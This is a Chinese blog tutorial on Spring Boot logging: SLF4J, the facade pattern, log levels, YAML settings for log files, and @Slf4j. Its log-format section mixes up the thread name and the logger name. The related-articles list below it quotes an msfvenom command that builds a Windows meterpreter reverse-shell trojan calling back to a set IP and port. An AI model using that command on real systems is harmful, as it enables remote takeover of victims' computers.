当前位置: 首页 > news >正文

Spring Boot 日志:项目的“行车记录仪”

一、什么是Spring Boot日志

 (一)日志引入

在正式介绍日志之前,我们先来看看上篇文章中(Spring Boot 配置文件)中的验证码功能的一个代码片段:

  这是一段校验用户输入的验证码是否正确的后端代码, 仔细看,其中有以下三种异常情况,程序会返回false:

(1)用户输入的验证码为空或者没有输入验证码

(2)session为空

(3)验证码超时

  那么,当程序运行时,程序返回false时,我们并不知道到底是属于哪一种异常情况,因此,我们借助println方法,打印相关信息,以此来定位返回false返回的是哪种情况,比如,当控制台打印    ” 验证码超时 “ 时,我们就知道,此时返回false是因为验证码已经超时。

  通过这种打印信息的方式,可以帮助我们精准定位问题出现的原因,这里打印出来的信息,称为日志

  随着项目复杂度提升,我们对日志打印有更高需求,不仅用于定位排查问题,还需记录用户操作记录(部分审计公司有此要求)、记录用户喜好,将日志持久化后用于数据分析等。但 println 无法很好满足需求,需使用专门日志框架

当我们启动项目时,是不是经常会看到如下图的信息,其实这就是日志框架生成的日志!

(二)日志与行车记录仪

我们可以将日志类比为生活中的行车记录仪,它们在功能和作用上有很多相似之处:

  记录功能:行车记录仪会持续记录车辆行驶过程中的各种信息,比如行驶路线、速度、时间以及周围的路况等,就像日志会记录 Spring Boot 应用程序运行过程中的各种信息,包括方法调用、参数传递、执行时间和发生的事件等。


  问题排查:当车辆发生事故或者出现一些异常情况时,车主可以通过查看行车记录仪的记录来还原当时的场景,分析事故发生的原因或者车辆出现问题的可能因素。类似地,当 Spring Boot 应用出现故障或错误时,开发人员和运维人员可以通过查看日志来了解应用在故障发生前后的运行情况,快速定位问题所在,比如是哪个方法出现了异常,在什么时间、什么条件下出现的等。


  行为追溯:如果遇到一些纠纷,例如在判断是否发生追尾等事故责任时,行车记录仪的记录可以作为重要的证据,清晰地呈现车辆的行驶状态和相对位置等情况,帮助确定责任归属。在 Spring Boot 应用中,日志也可以用于追溯用户的操作行为和系统的响应过程,对于一些需要审计或者追踪的场景非常有用,比如记录用户的登录登出时间、对重要数据的修改操作等,以便在需要时进行查询和核对。


  性能评估:通过行车记录仪记录的行驶数据,比如在不同路段的行驶速度、停车次数等,还可以分析车辆的行驶性能和效率,判断是否存在行驶路线不合理或者车辆本身性能问题等。同样,通过分析 Spring Boot 应用的日志,能够评估应用的性能状况,例如某个接口的响应时间是否过长,数据库查询的频率是否过高,从而为性能优化提供依据。

(三)简单打印一个日志

接下来让我们学习一下如何使用日志框架来打印一个日志!

 

  由于程序是在main方法中运行的,因此线程名称是main;此外,在获取日志对象的时候,我们填入LoggerController.class作为参数,因此日志的来源类就是它,这样做可以让我们更加精准地定位日志来源于哪个类!

二、门面模式

(一)什么是门面模式

   在很久之前,市场上存在多种日志框架,如 Log4j、Logback、java.util.logging 等,它们的使用方式各不相同,比如日志框架1是使用log1()方法来打印日志的,日志框架2是使用log2()方法来打印日志的。

  那么在一个大型项目中,可能会有多个团队或开发者参与开发,如果没有统一的日志记录规范,不同团队可能会使用不同的日志框架,会导致代码风格和日志记录方式混乱。

  那么,该如何解决这个问题呢?

   虽然各大框架的使用方式不同,但是,我们是不是可以使用一个平台,让这个平台集成各种不同的日志框架,然后将不同框架中功能相同的方法,对外提供一个统一的接口,供程序员使用,这样就解决了代码风格不一致的问题。这种模式就叫 " 门面模式 "这里的平台就被称为——日志门面)。

  上面说的 slf4j 其实就是日志门面,为所有开发者提供了一套统一的日志记录接口,无论底层使用哪种日志框架,开发者都使用相同的方式记录日志,有助于保持代码的一致性和规范性,降低代码的学习和维护成本。

  门面模式(Facade Pattern)又称为外观模式,提供了一个统一的接口,用来访问子系统中的一群接口。其主要特征是定义了一个高层接口,让子系统更容易使用。

(二)门面模式的实现

  下面我们来实现一个简单的门面模式,我们想象这样一个场景,当我们回家时,我们可能会打开客厅的灯,打开卧室的灯、打开走廊的灯……

  如果没有使用门面模式,我们需要一个一个走过去相应的场所去打开灯,那么,如果使用门面模式,我们就可以通过一个总开关,一次性打开所有地方的灯……

1、我们先定义客厅、卧室、走廊三个类,类中都有一个on()方法,用于打开灯

客厅类:

卧室类:

走廊类:

2、传统模式下开灯: 

  传统模式下开灯,我们需要在main方法中创建客厅、卧室、走廊三个类的实例,然后调用其       on()方法开灯,特别麻烦。 

3、门面模式下开灯: 

首先,我们定义一个门面,里面集成了客厅、卧室、走廊。

现在我们开灯的时候,就只需要实例Facade对象的实例,然后调用其on()方法即可开灯,比之前方便不少! 

  在这个案例中,我们可以把客厅、卧室、走廊类比为不同的日志框架,我们发现,即便是框架里面的方法名称改变了,比如客厅打开灯的方法名不是on(),而变成了livingOn()了,此时用户也无需去操心这种方法名变化对自己开发有什么影响,因为门面对外提供的接口还是on(),框架改变产生的影响,只需要门面去考虑,只要门面对外提供的接口不变,用户就无需去操心框架的改变带来的影响。

三、日志级别

(一)日志格式说明

  在前面打印日志的例子中,我简单介绍了一下日志的格式,接下来,我再正式的详细介绍一下日志格式,带大家深入了解一下,日志内容究竟包含了什么信息?

  这段日志是典型的 Spring Boot 应用程序启动日志,以下是对其格式的说明:

时间戳:日志的开头是时间戳,例如 2025-01-28T10:11:09.772+08:00,表示日志记录的时间,精确到毫秒,并且包含了时区信息(+08:00 表示东八区)。                                             
日志级别:紧接着时间戳的是日志级别,如 INFO,表示日志的重要程度。常见的日志级别还有 DEBUG、WARN、ERROR 等。                                                                                             
进程 ID:9852 是进程 ID,标识生成该日志的进程。                                                                       
线程名称:[spring_setting_test3] 是线程名称,表明该日志是由哪个线程产生的。通常是源代码的类名。                                                                                                                                        
日志记录器名称:中括号后面的内容,如 main 是日志记录器名称,用于标识日志的来源。            
日志内容:冒号后面的部分是具体的日志信息,描述了应用程序在启动过程中发生的事件,

(二)日志级别

  上面在介绍日志格式的时候,我们看到了“ 日志格式 “,那么,啥是日志级别呢?

  日志级别:是在软件开发和系统运维中用于对日志信息进行分类和分级的一种标准机制,大白话来说就是:日志级别就是对日志消息轻重程度进行了分级。

  就好像天气预报根据降雨的严重情况,对雨进行分级:小雨、大雨、暴雨、雷阵雨……同样,日志消息也有轻重缓急之分,有的消息只会记录一些小事,有些日志消息会记录一些程序奔溃的错误消息。

  日志的级别从高到低依次为:FATAL、ERROR、WARN、INFO、DEBUG、TRACE

FATAL:致命信息,表示需要立即被处理的系统级错误。                                                                
ERROR:错误信息,级别较高的错误日志信息,但仍然不影响系统的继续运行。                           
WARN:警告信息,不影响使用,但需要注意的问题。                                                                
INFO:普通信息,用于记录应用程序正常运行时的一些信息,例如系统启动完成、请求处理完成等。                                                                                                                                    
DEBUG:
调试信息,需要调试时候的关键信息打印。                                                                  
TRACE:
追踪信息,比 DEBUG 更细粒度的信息事件 (除非有特殊用意,否则请使用 DEBUG 级别替代)

(三)日志级别配置

 默认情况下,日志框架只会打印 info级别 或 info 级别以上级别的日志消息,因为如果打印info级别以下的日志消息记录的是一些繁琐的小事,因此默认不打印出来。

  观察上面的main方法,我们打印了除了FATAL级别的日志消息(日志框架没有提供FATAL级别的日志打印),但是运行程序时,只打印 INFO 级别或 INFO 级别以上的日志消息。 

  其实,这是日志配置的默认输出级别是 INFO ,程序只会默认输入这个级别或以上级别的日志,那么,既然是默认的,我们也可以自定义设置默认级别为其他级别。 

1、在yml文件中配置日志输出级别为DEBUG:

运行main方法:

   我们发现,虽然设置默认输出级别为debug,但是运行mian方法时,却没有打印出来debug级别的日志,这是为什么呢?

  这是因为,你手动运行main方法,配置文件对main方法是不起作用的,我们得通过url访问调用main方法,这样配置文件才会起作用。

代码修改:

Postman访问调用main方法: 

2、接下来我们在yml文件中配置日志输出级别为TRACE: 

Postman访问调用main方法: 

补充:因为FATAL级别的消息是致命消息,一旦出现,系统就无法正常运行。只要用户看到系统崩溃,就知道系统已经出现了致命错误,所有无需打印出来告知用户,因此日志框架没有提供FATAL级别的日志打印。 

四、日志(补充)

(一)日志持久化

  我们发现,一旦程序结束运行,我们之前的日志消息就全部被清空了。那么我们能不能生成一个日志文件,让它来记录日志信息呢?

  有的,兄弟,有的,像生成日志文件这样的的方法我们有两种,并且都是通过配置文件配置即可自动生成!

配置方法1:yml 配置日志文件名:

#配置日志文件名存储历史日志
logging:file:name: logger/springBoot.log

配置后启动项目,日志框架会生成 logger/springBoot.log 日志文件 

配置方法2:yml配置日志文件路径: 

#配置日志文件路径:会在D:/temp 路径下生成日志文件
logging:file:path: D:/temp

配置后启动项目,日志框架会在D:/temp路径下自动生成日志文件 

(二)更简单的日志输出

 前面教学的打印日志,我们需要创建一个日志对象,才可以打印日志,那么有没有什么更好的方法来打印日志呢?也是有的,兄弟!我们可以使用 @Slf4j 注解

旧方法:

新方法代码: 无需创建日志对象啦!直接使用!

Postman访问调用print方法:

 背后原理:

  @Slf4j注解 的作用是自动生成日志对象。在使用 @Slf4j 注解的类中,它相当于帮开发者自动添加了private final Logger log = LoggerFactory.getLogger(当前类名.class); 这行代码。 通过LoggerFactory.getLogger(当前类名.class)语句,以当前类作为参数初始化日志记录器,这样在打印日志时,就能明确日志信息出自哪个类。  

相关文章:

Spring Boot 日志:项目的“行车记录仪”

一、什么是Spring Boot日志 (一)日志引入 在正式介绍日志之前,我们先来看看上篇文章中(Spring Boot 配置文件)中的验证码功能的一个代码片段: 这是一段校验用户输入的验证码是否正确的后端代码&#xff0c…...

ComfyUI中For Loop的使用

研究了半天,终于弄明白了如何使用For Loop。 1、在For中节点,必须有输出连接到For Loop End的initial_value点,才能确保节点执行完毕后才 进入下一轮循环,否则,可能导致节点没执行完,就进入下一个循环了。…...

网站快速收录:利用网站导航优化用户体验

本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/44.html 网站快速收录与用户体验的提升密切相关,而网站导航作为用户访问网站的“指南针”,其优化对于实现这一目标至关重要。以下是一些利用网站导航优化用户体验&am…...

FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验

文章目录 FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验概述笔记my_fltk_test.cppfltk_test.hfltk_test.cxx用adjuster工程试了一下,好使。END FLTK - FLTK1.4.1 - 搭建模板,将FLTK自带的实现搬过来做实验 概述 用fluid搭建UI…...

c#aot做跨平台动态库

c#aot技术,很多人都觉得是垃圾,没有用,其实还是很有用的。.net发展这么多年,有很多很好的功能,你可以把这些功能做成动态库供rust调用,供c/c调用。你还真别看不起这些功能,当你需要,…...

使用Pygame制作“打砖块”游戏

1. 前言 打砖块(Breakout / Arkanoid) 是一款经典街机游戏,玩家控制一个可左右移动的挡板,接住并反弹球,击碎屏幕上方的砖块。随着砖块被击碎,不仅能获得分数,还可以体验到不断加速或复杂的反弹…...

Autosar-以太网是怎么运行的?(原理部分)

写在前面: 入行一段时间了,基于个人理解整理一些东西,如有错误,欢迎各位大佬评论区指正!!! 1.TCP/IP协议详解 TCP/IP协议包含了一系列的协议,也叫TCP/IP协议族(TCP/IP P…...

小程序-基础加强-自定义组件

前言 这次讲自定义组件 1. 准备今天要用到的项目 2. 初步创建并使用自定义组件 这样就成功在home中引入了test组件 在json中引用了这个组件才能用这个组件 现在我们来实现全局引用组件 在app.json这样使用就可以了 3. 自定义组件的样式 发现页面里面的文本和组件里面的文…...

线程池以及在QT中的接口使用

文章目录 前言线程池架构组成**一、任务队列(Task Queue)****二、工作线程组(Worker Threads)****三、管理者线程(Manager Thread)** 系统协作流程图解 一、QRunnable二、QThreadPool三、线程池的应用场景W…...

Cubemx文件系统挂载多设备

cubumx版本:6.13.0 芯片:STM32F407VET6 在上一篇文章中介绍了Cubemx的FATFS和SD卡的配置,由于SD卡使用的是SDIO通讯,因此具体驱动不需要自己实现,Cubemx中就可以直接配置然后生成SDIO的驱动,并将SD卡驱动和…...

NeetCode刷题第19天(2025.1.31)

文章目录 099 Maximum Product Subarray 最大乘积子数组100 Word Break 断字101 Longest Increasing Subsequence 最长递增的子序列102 Maximum Product Subarray 最大乘积子数组103 Partition Equal Subset Sum 分区等于子集和104 Unique Paths 唯一路径105 Longest Common Su…...

网站快速收录:如何设置robots.txt文件?

本文转自:百万收录网 原文链接:https://www.baiwanshoulu.com/34.html 为了网站快速收录而合理设置robots.txt文件,需要遵循一定的规则和最佳实践。robots.txt文件是一个纯文本文件,它告诉搜索引擎爬虫哪些页面可以访问&#xff…...

(超实用教程)利用MSF制作exe程序木马

msfvenom 是攻击载荷(payload)生成器 格式: msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.110.32 LPORT4456 -f exe -o payload1.exe -p:指定需要使用的payload -f:指定输出格式 -o:保…...

Spring Boot + Facade Pattern : 通过统一接口简化多模块业务

文章目录 Pre概述在编程中,外观模式是如何工作的?外观设计模式 UML 类图外观类和子系统的关系优点案例外观模式在复杂业务中的应用实战运用1. 项目搭建与基础配置2. 构建子系统组件航班服务酒店服务旅游套餐服务 3. 创建外观类4. 在 Controller 中使用外…...

4 [危机13小时追踪一场GitHub投毒事件]

事件概要 自北京时间 2024.12.4 晚间6点起, GitHub 上不断出现“幽灵仓库”,仓库中没有任何代码,只有诱导性的病毒文件。当天,他们成为了 GitHub 上 star 增速最快的仓库。超过 180 个虚假僵尸账户正在传播病毒,等待不…...

Java基础——分层解耦——IOC和DI入门

目录 三层架构 Controller Service Dao ​编辑 调用过程 面向接口编程 分层解耦 耦合 内聚 软件设计原则 控制反转 依赖注入 Bean对象 如何将类产生的对象交给IOC容器管理? 容器怎样才能提供依赖的bean对象呢? 三层架构 Controller 控制…...

10 Flink CDC

10 Flink CDC 1. CDC是什么2. CDC 的种类3. 传统CDC与Flink CDC对比4. Flink-CDC 案例5. Flink SQL 方式的案例 1. CDC是什么 CDC 是 Change Data Capture(变更数据获取)的简称。核心思想是,监测并捕获数据库的变动(包括数据或数…...

F. Greetings

题目链接&#xff1a;Problem - F - Codeforces 题目大意&#xff1a;给你n个线段&#xff0c; 求有多少对&#xff08;两个&#xff09;线段满足完全覆盖&#xff0c; 例如&#xff1a; 设一个线段有a,b两点&#xff0c; 满足 ai < aj < bj < bi (i,j为每个线段的下…...

深度学习练手小例子——cifar10数据集分类问题

CIFAR-10 是一个经典的计算机视觉数据集&#xff0c;广泛用于图像分类任务。它包含 10 个类别的 60,000 张彩色图像&#xff0c;每张图像的大小是 32x32 像素。数据集被分为 50,000 张训练图像和 10,000 张测试图像。每个类别包含 6,000 张图像&#xff0c;具体类别包括&#x…...

Sqoop源码修改:增加落地HDFS文件数与MapTask数量一致性检查

个人博客地址&#xff1a;Sqoop源码修改&#xff1a;增加落地HDFS文件数与MapTask数量一致性检查 | 一张假钞的真实世界 本篇是对记录一次Sqoop从MySQL导入数据到Hive问题的排查经过的补充。 Sqoop 命令通过 bin 下面的脚本调用&#xff0c;调用如下&#xff1a; exec ${HAD…...

FastAPI + GraphQL + SQLAlchemy 实现博客系统

本文将详细介绍如何使用 FastAPI、GraphQL&#xff08;Strawberry&#xff09;和 SQLAlchemy 实现一个带有认证功能的博客系统。 技术栈 FastAPI&#xff1a;高性能的 Python Web 框架Strawberry&#xff1a;Python GraphQL 库SQLAlchemy&#xff1a;Python ORM 框架JWT&…...

AI编程:如何编写提示词

这是小卷对AI编程工具学习的第2篇文章&#xff0c;今天讲讲如何编写AI编程的提示词&#xff0c;并结合实际功能需求案例来进行开发 1.编写提示词的技巧 好的提示词应该是&#xff1a;目标清晰明确&#xff0c;具有针对性&#xff0c;能引导模型理解问题 下面是两条提示词的对…...

【LLM-agent】(task5)构建哲学家多智能体

note 通过编排动作设置哲学家智能体的"示例任务"&#xff0c;目的是让 Agent 更好地理解如何回答问题。主要包括设置示例问题、定义思考过程、应用到所有哲学家。建立了一个"先思考&#xff0c;后总结"的回答模式&#xff0c;这种方式相当于给AI提供了一个…...

31. 下一个排列

参考题解&#xff1a;https://leetcode.cn/problems/next-permutation/solutions/80560/xia-yi-ge-pai-lie-suan-fa-xiang-jie-si-lu-tui-dao- 找到下一个排列&#xff0c;即找到下一个大于当前数的更大的数。 当没有比当前更大的数的时候&#xff0c;那么就返回最小的数&…...

牛客周赛 Round 78

题目目录 A-时间表查询&#xff01;解题思路参考代码 B-一起做很甜的梦&#xff01;解题思路参考代码 C-翻之解题思路参考代码 D-乘之解题思路参考代码 E-在树上游玩解题思路参考代码 A-时间表查询&#xff01; \hspace{15pt} 今天是2025年1月25日&#xff0c;今年的六场牛客寒…...

100.1 AI量化面试题:解释夏普比率(Sharpe Ratio)的计算方法及其在投资组合管理中的应用,并说明其局限性

目录 0. 承前1. 夏普比率的基本概念1.1 定义与计算方法1.2 实际计算示例 2. 在投资组合管理中的应用2.1 投资组合选择2.2 投资组合优化 3. 夏普比率的局限性3.1 统计假设的限制3.2 实践中的问题 4. 改进方案4.1 替代指标4.2 实践建议 5. 回答话术 0. 承前 如果想更加全面清晰地…...

jEasyUI 转换 HTML 表格为数据网格

jEasyUI 转换 HTML 表格为数据网格 引言 随着互联网技术的飞速发展,前端框架和库的应用越来越广泛。jEasyUI 是一款功能强大的 jQuery UI 扩展库,它提供了丰富的 UI 组件,其中数据网格(DataGrid)是 jEasyUI 中一个非常重要的组件。本文将详细介绍如何使用 jEasyUI 将一个…...

好用的翻译工具

最近看到个好用的翻译工具&#xff0c;叫沉浸式翻译 沉浸式翻译 - 双语对照网页翻译插件 | PDF翻译 | 视频字幕翻译 我下载的是谷歌插件 点击下载插件会跳转到使用文档&#xff0c;跟着一步步操作即可 翻译的效果&#xff0c;我这里用的是免费版的&#xff0c;如果需要加强&…...

Selenium 使用指南:从入门到精通

Selenium 使用指南&#xff1a;从入门到精通 Selenium 是一个用于自动化 Web 浏览器操作的强大工具&#xff0c;广泛应用于自动化测试和 Web 数据爬取中。本文将带你从入门到精通地掌握 Selenium&#xff0c;涵盖其基本操作、常用用法以及一个完整的图片爬取示例。 1. 环境配…...

字节iOS面试经验分享:HTTP与网络编程

字节iOS面试经验分享&#xff1a;HTTP与网络编程 &#x1f31f; 嗨&#xff0c;我是LucianaiB&#xff01; &#x1f30d; 总有人间一两风&#xff0c;填我十万八千梦。 &#x1f680; 路漫漫其修远兮&#xff0c;吾将上下而求索。 目录 字节iOS面试经验分享&#xff1a;HTT…...

10.7 LangChain Models深度解析:解锁大模型集成与调优的全景攻略

LangChain Models深度解析:解锁大模型集成与调优的全景攻略 关键词: LangChain Models模块、大模型集成、LLM调用优化、多模型管理、本地模型部署 一、Models模块的定位:大模型应用的“中央调度器” 传统开发的痛点: 碎片化集成:每个模型需单独编写适配代码性能黑洞:缺…...

本地部署 DeepSeek-R1:简单易上手,AI 随时可用!

&#x1f3af; 先看看本地部署的运行效果 为了测试本地部署的 DeepSeek-R1 是否真的够强&#xff0c;我们随便问了一道经典的“鸡兔同笼”问题&#xff0c;考察它的推理能力。 &#x1f4cc; 问题示例&#xff1a; 笼子里有鸡和兔&#xff0c;总共有 35 只头&#xff0c;94 只…...

cf集合***

当周cf集合&#xff0c;我也不知道是不是当周的了&#xff0c;麻了&#xff0c;下下周争取写到e补f C. Kevin and Puzzle&#xff08;999&#xff09; 题解&#xff1a;一眼动态规划&#xff0c;但是具体这个状态应该如何传递呢&#xff1f; 关键点&#xff1a;撒谎的人不相…...

【机器学习理论】生成模型和判别模型

生成模型和判别模型是机器学习中两种不同的建模方式。生成模型关注的是联合概率分布 P ( X , Y ) P(X, Y) P(X,Y)&#xff0c;即同时考虑数据 X X X和标签 Y Y Y的关系&#xff1b;判别模型则直接学习条件概率 P ( Y ∣ X ) P(Y|X) P(Y∣X)或决策边界。 生成模型 生成模型的目…...

图漾相机——C++语言属性设置

文章目录 前言1.SDK API功能介绍1.1 Device组件下的API测试1.1.1 相机工作模式设置&#xff08;TY_TRIGGER_PARAM_EX&#xff09;1.1.2 TY_INT_FRAME_PER_TRIGGER1.1.3 TY_INT_PACKET_DELAY1.1.4 TY_INT_PACKET_SIZE1.1.5 TY_BOOL_GVSP_RESEND1.1.6 TY_BOOL_TRIGGER_OUT_IO1.1.…...

如何在Windows、Linux和macOS上安装Rust并完成Hello World

如何在Windows、Linux和macOS上安装Rust并完成Hello World 如果你刚刚开始学习Rust&#xff0c;第一步就是安装Rust并运行你的第一个程序&#xff01;本文将详细介绍如何在Windows、Linux和macOS上安装Rust&#xff0c;并编写一个简单的“Hello, World!”程序。 1. 安装Rust …...

基于VMware的ubuntu与vscode建立ssh连接

1.首先安装openssh服务 sudo apt update sudo apt install openssh-server -y 2.启动并检查ssh服务状态 到这里可以按q退出 之后输入命令 &#xff1a; ip a 红色挡住的部分就是我们要的地址&#xff0c;这里就不展示了哈 3.配置vscode 打开vscode 搜索并安装&#xff1a;…...

Redis 集合(Set)

Redis 集合(Set) 引言 Redis 是一款高性能的键值存储数据库,其支持多种数据结构,其中包括集合(Set)。集合是一个无序的、元素唯一的集合数据结构,它非常适合存储需要去重和高效检索的数据。本文将详细介绍 Redis 集合的数据结构、操作方法以及应用场景。 Redis 集合数…...

(笔记+作业)书生大模型实战营春节卷王班---L0G2000 Python 基础知识

学员闯关手册&#xff1a;https://aicarrier.feishu.cn/wiki/QtJnweAW1iFl8LkoMKGcsUS9nld 课程视频&#xff1a;https://www.bilibili.com/video/BV13U1VYmEUr/ 课程文档&#xff1a;https://github.com/InternLM/Tutorial/tree/camp4/docs/L0/Python 关卡作业&#xff1a;htt…...

stm32硬件实现与w25qxx通信

使用的型号为stm32f103c8t6与w25q64。 STM32CubeMX配置与引脚衔接 根据stm32f103c8t6引脚手册&#xff0c;采用B12-B15四个引脚与W25Q64连接&#xff0c;实现SPI通信。 W25Q64SCK&#xff08;CLK&#xff09;PB13MOSI&#xff08;DI&#xff09;PB15MISO(DO)PB14CS&#xff08…...

群晖Alist套件无法挂载到群晖webdav,报错【连接被服务器拒绝】

声明&#xff1a;我不是用docker安装的 在套件中心安装矿神的Alist套件后&#xff0c;想把夸克挂载到群晖上&#xff0c;方便复制文件的&#xff0c;哪知道一直报错&#xff0c;最后发现问题出在两个地方&#xff1a; 1&#xff09;挂载的路径中&#xff0c;直接填 dav &…...

MySQL 如何深度分页问题

在实际的数据库应用场景中&#xff0c;我们常常会遇到需要进行分页查询的需求。对于少量数据的分页查询&#xff0c;MySQL 可以轻松应对。然而&#xff0c;当我们需要进行深度分页&#xff08;即从大量数据的中间位置开始获取少量数据&#xff09;时&#xff0c;就会面临性能严…...

科技快讯 | OpenAI首次向免费用户开放推理模型;特朗普与黄仁勋会面;雷军回应“10后小学生深情表白小米SU7”

不用开口&#xff1a;谷歌 AI 帮你致电商家&#xff0c;价格、预约一键搞定 谷歌在1月30日推出Search Labs中的“Ask for Me”实验性功能&#xff0c;用户可利用AI代替自己致电商家咨询价格和服务。该功能已与美汽车修理厂和美甲沙龙店合作&#xff0c;用户需加入Search Labs并…...

2.1刷题日记

1.338. 比特位计数 - 力扣&#xff08;LeetCode&#xff09; class Solution { public:vector<int> countBits(int n) {vector<int>ans(n1,0);ans[0]0;for(int i1;i<n;i){if(i%21){ans[i]ans[i-1]1;}else{ans[i]ans[i/2];}}return ans;} }; 利用奇数与偶数来进…...

nth_element函数——C++快速选择函数

目录 1. 函数原型 2. 功能描述 3. 算法原理 4. 时间复杂度 5. 空间复杂度 6. 使用示例 8. 注意事项 9. 自定义比较函数 11. 总结 nth_element 是 C 标准库中提供的一个算法&#xff0c;位于 <algorithm> 头文件中&#xff0c;用于部分排序序列。它的主要功能是将…...

C#接口(Interface)

C#中的接口 接口是C#中一种重要的概念&#xff0c;它定义了一组函数成员&#xff0c;但不实现它们。接口提供了一种标准结构&#xff0c;使得实现接口的类或结构在形式上保持一致。接口定义了属性、方法和事件&#xff0c;这些都是接口的成员&#xff0c;但接口只包含成员的声…...

002 mapper代理开发方式-xml方式

文章目录 代理xml方式UserMapper.javaUser.javadb.propertiesSqlMapConfig.xmlUserMapper.xmlUserMapperTest.javapom.xml 代理 此处使用的是JDK的动态代理方式&#xff0c;延迟加载使用的cglib动态代理方式 代理分为静态代理和动态代理。此处先不说静态代理&#xff0c;因为…...

网络原理(3)—— 传输层详解

目录 一. 再谈端口号 二. UDP协议(用户数据报协议) 2.1 UDP协议端格式 2.2 UDP报文长度 2.3 UDP校验和 三. TCP协议(传输控制协议) 3.1 TCP协议段格式 3.2 核心机制 3.2.1 确认应答 —— “感知对方是否收到” 3.2.2 超时重传 3.3.3 连接管理 —— 三次握手与四…...

深度学习 Pytorch 神经网络的学习

本节将从梯度下降法向外拓展&#xff0c;介绍更常用的优化算法&#xff0c;实现神经网络的学习和迭代。在本节课结束将完整实现一个神经网络训练的全流程。 对于像神经网络这样的复杂模型&#xff0c;可能会有数百个 w w w的存在&#xff0c;同时如果我们使用的是像交叉熵这样…...

【机器学习】自定义数据集 使用pytorch框架实现逻辑回归并保存模型,然后保存模型后再加载模型进行预测,对预测结果计算精确度和召回率及F1分数

一、使用pytorch框架实现逻辑回归 1. 数据部分&#xff1a; 首先自定义了一个简单的数据集&#xff0c;特征 X 是 100 个随机样本&#xff0c;每个样本一个特征&#xff0c;目标值 y 基于线性关系并添加了噪声。将 numpy 数组转换为 PyTorch 张量&#xff0c;方便后续在模型中…...